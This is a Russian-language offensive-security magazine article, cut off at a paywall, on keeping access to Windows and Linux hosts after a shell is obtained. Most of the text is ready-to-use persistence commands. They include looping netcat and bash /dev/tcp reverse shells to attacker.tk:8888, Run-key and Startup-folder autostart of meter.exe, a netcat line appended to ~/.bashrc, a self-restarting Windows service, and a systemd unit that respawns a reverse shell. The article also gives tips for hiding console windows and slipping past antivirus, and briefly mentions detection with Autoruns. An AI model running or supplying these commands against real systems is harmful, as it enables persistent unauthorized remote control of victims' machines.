Когда получен шелл на хосте, первое, что необходимо сделать, — это обеспечить себе «постоянство» (persistence) в системе. Ведь во многих случаях на RCE может быть лишь одна попытка, а значит, недопустимо потерять доступ из‑за каких‑нибудь досадных обстоятельств.
Есть разные способы организовать возможность постоянного присутствия, у каждого свои достоинства и недостатки:
записать что‑либо на HDD:
внедрить код в RAM:
изменить конфигурацию ОС:
Чаще всего при закреплении в системе все же приходится обращаться к диску, поскольку это единственный способ не вылететь из‑за случайной перезагрузки. В общем случае успешность такой персистентности зависит от двух факторов:
Очевидно, что с точки зрения закрепления Linux — более приоритетная система. Компьютеры с ним, как правило, редко обслуживаются пользователями и не перезагружаются месяцами. Да и как точка опоры они подходят больше. Хосты под управлением Linux удобны еще и потому, что они редко защищены антивирусом, а антивирус для персистентности — это ощутимая проблема.
В свою очередь, в Windows больше вариантов автозагрузки, что может помочь лучше замаскироваться в ее недрах. Ведь, в отличие от проникновения в Linux, нам почти всегда придется работать рядом с пользователем, опытным или не очень.
Когда имеешь дело не с одной целью, а с целой группой, весьма удобно использовать для машины атакующего доменное имя, а не IP. Тогда для каждой жертвы или группы жертв можно будет задать свое уникальное имя в DNS-зоне атакующего (далее в примерах — attacker.tk). Это позволяет эффективнее управлять жертвами. Выглядит это примерно так.
Если антивирусы не главная проблема, то в качестве reverse shell часто можно использовать простые nc.exe, ncat.exe и socat.exe. Все они обладают возможностями RAT и зачастую нормально проходят антивирус. Поскольку это программы, работающие из командной строки, можно сделать их запуск на машине жертвы незаметным. В Windows для этого достаточно поменять subsystem у исполняемого файла:
pe header → optional header nt fields → subsystem → GUI (0x0002)
Описанные далее примеры помогут не только при закреплении на машине жертвы, но и для выявления фактов компрометации.
Анализ элементов автозагрузки — это часто поиск иголки в стоге сена. Обычно приходится судить по названию исполняемого файла, тому, где он находится (в правильных местах или где‑то в профиле пользователя), а также по названию и описанию компании‑разработчика, зашитым внутри файла. Впрочем, ничто не мешает атакующему подделать эти данные.
Антивирусы же, как правило, не удаляют записи в списках автозагрузки, а удаляют сами исполняемые файлы. Поэтому битая ссылка в автозагрузке — тревожный сигнал.
Во многих случаях для персистентности могут потребоваться права администратора. Это тоже может стать проблемой, ведь далеко не каждый шелл обладает нужными привилегиями. Поэтому в каждом примере я буду помечать символом $
ввод непривилегированного пользователя, а #
— администратора. Для обнаружения будем использовать утилиту Autoruns, результаты ты можешь наблюдать на скриншотах.
Организовать персистентность можно прямо из командной строки. Чтобы шелл открывался всегда, используем команду с бесконечным циклом, уходящую в фон.
Вот как это работает в Windows:
cmd$> start cmd /C "for /L %n in (1,0,10) do ( nc.exe attacker.tk 8888 -e cmd.exe & ping -n 60 127.0.0.1 )"
bash$> ( bash -c "while :; do bash -i >& /dev/tcp/attacker.tk/8888 0>&1; sleep 60; done"; )& bash$> nohup bash -c "while :; do bash -i >& /dev/tcp/attacker.tk/8888 0>&1; sleep 60; done" &
Говоря о персистентности, нельзя пройти мимо классической и всем известной автозагрузки. Ее преимущество в том, что она будет работать с правами любого, даже неадминистративного пользователя.
cmd$> copy meter.exe %APPDATA%RoamingMicrosoftWindowsStart MenuProgramsStartupcmd$> reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionRun" /v persistence /t REG_SZ /d "C:usersusernamemeter.exe"cmd#> copy meter.exe C:ProgramDataMicrosoftWindowsStart MenuProgramsStartupcmd#> reg add "HKLMSoftwareMicrosoftWindowsCurrentVersionRun" /v persistence /t REG_SZ /d "C:Windowssystem32meter.exe"
bash$> echo "nc attacker.tk 8888 -e /bin/bash 2>/dev/null &" >> ~/.bashrc
Использовать службу для закрепления более выгодно, чем автозагрузку, так как Service Manager будет сам перезапускать службу, если потребуется.
Для Windows создание службы потребует права администратора.
cmd#> sc create persistence binPath= "nc.exe -e windowssystem32cmd.exe attacker.tk 8888" start= auto cmd#> sc failure persistence reset= 0 actions= restart/60000/restart/60000/restart/60000 cmd#> sc start persistence
В Linux создать службу можно и с учетки простого пользователя. Вот варианты для рута и для простого пользователя.
bash#> vim /etc/systemd/system/persistence.service bash$> vim ~/.config/systemd/user/persistence.service
Содержимое файла:
[Unit]Description=persistence[Service]ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker.tk/8888 0>&1'Restart=alwaysRestartSec=60[Install]WantedBy=default.target
И запускаем созданную службу:
bash#> systemctl enable persistence.service bash#> systemctl start persistence.service bash$> systemctl --user enable persistence.service bash$> systemctl --user start persistence.service
Создание запланированной задачи — весьма удобный способ поддержания доступа. Заодно можно задать время и интервал запуска. Но делать это разрешено, как правило, только привилегированным пользователям.
Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
1 год9300 р. |
1 месяц870 р. |
Я уже участник «Xakep.ru»
Читайте также
Последние новости